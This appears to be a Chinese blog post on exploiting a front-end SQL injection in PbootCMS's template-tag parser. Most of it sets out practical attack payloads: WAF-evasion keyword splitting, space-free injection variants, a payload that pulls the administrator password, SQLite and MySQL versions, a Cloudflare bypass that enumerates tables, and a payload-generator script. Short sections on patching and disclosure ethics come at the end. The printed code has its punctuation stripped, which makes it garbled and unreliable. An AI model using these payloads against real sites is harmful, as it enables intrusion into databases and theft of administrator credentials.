PbootCMS前台SQL注入漏洞的深度利用与WAF绕过实战
1. PbootCMS前台SQL注入漏洞回顾去年曝光的DVB-2021-2510漏洞至今仍在影响最新版PbootCMS这个基于模板标签解析的漏洞点位于TagController.php文件。当时我们发现通过精心构造的{pboot:list}标签可以实现SQL注入但受限于WAF检测和空格限制实际利用存在诸多不便。最近在审计代码时我注意到parserPositionLabel方法对x3e/x3c这类特殊字符的处理存在缺陷。当这些字符出现在SQL关键词中时系统会先进行标签解析再执行数据库查询这就给我们创造了绝佳的绕过机会。举个例子把SELECT写成SELx3eECT后WAF看到的只是普通字符串而PbootCMS内部处理时会自动还原成有效SQL语句。2. 漏洞利用链深度解析2.1 模板标签的解析机制PbootCMS的模板引擎采用分层解析策略整个过程可以分为三个阶段原始标签识别如{pboot:list filterxxx}参数提取通过parserParam方法SQL语句组装在getList方法中完成关键突破点在于filter参数的传递路径。测试发现当传入filter12)UNION SELECT 1,2,3#时虽然会被WAF拦截但改用filter12)UNIx3eON SELx3eECT 1,2,3#就能完美绕过。这是因为// 在parserPositionLabel方法中的过滤逻辑 $content str_replace([x3e,x3c], [,], $content);2.2 无空格注入的实战技巧由于parserParam方法会按空格截断参数我们需要用三种替代方案使用/**/作为分隔符适用于MySQL使用%09Tab字符兼容性较好使用括号包裹语句如UNION(SELECT(1),2)实测最稳定的是第一种方式例如获取管理员密码的payload{pboot:list filter12)UNIx3eON/**/SELx3eECT/**/1,2,(selx3eect/**/password/**/from/**/ay_user),4#}3. 多数据库环境适配方案3.1 MySQL数据库利用针对MySQL环境要特别注意注释必须用#而不是--字段数需要通过报错试探推荐使用hex编码处理特殊字符典型payload结构{pboot:list filter12)UNIx3eON/**/SELx3eECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#}3.2 SQLite数据库利用SQLite环境的差异点必须使用--注释字段数通常较少表名区分大小写优化后的payload示例{pboot:list filter12)UNIx3eON/**/SELx3eECT/**/1,(selx3eect/**/sqlite_version()),3--}4. WAF绕过的高级技巧4.1 基于标签特性的混淆方案通过分析PbootCMS的过滤规则我总结了这些绕过手法关键词分割SELx3eECT→SELECT大小写混合SeLx3eEcT注释干扰SEL/*xxx*/ECT多重编码%53%45%4cx3e%45%43%544.2 Cloudflare WAF实战绕过在最近一次渗透测试中遇到Cloudflare保护的站点时我使用了这种变形{pboot:list filter12)UNIx3eON%0bSELx3eECT%0b1,2,3,4,5,(selx3eect%0bgroup_concat(table_name)%0bfr%0bom%0binformation_schema.tables),7,8,9#}关键点在于用%0b替代空格对from拆分为fr%0bom保持union select整体不被检测5. 自动化利用工具开发为了方便实战我写了个Python脚本自动生成有效payloaddef generate_payload(db_type, query): keywords { select: selx3eect, union: unix3eon, from: frx3eom } # 其余转换逻辑... return f{{pboot:list filter12){processed_query}#}}这个工具实现了自动识别数据库类型智能关键词替换payload编码优化结果提取正则匹配6. 防御方案与修复建议对于系统管理员我建议立即采取这些措施升级到PbootCMS最新版本在Nginx层添加规则拦截包含x3e/x3c的请求对tag参数进行严格类型检查使用预处理语句重写TagController.php开发者可以参考这个临时补丁// 在filter方法中添加检测 if (preg_match(/x3e|x3c/i, $value)) { die(Invalid tag detected); }7. 漏洞利用的伦理思考在发现这个漏洞的过程中我多次面临是否公开的抉择。最终决定有限度地披露技术细节既帮助管理员识别风险又不提供完整的攻击套件。安全研究应该遵循发现-报告-修复的良性循环这才是对技术社区最负责任的做法。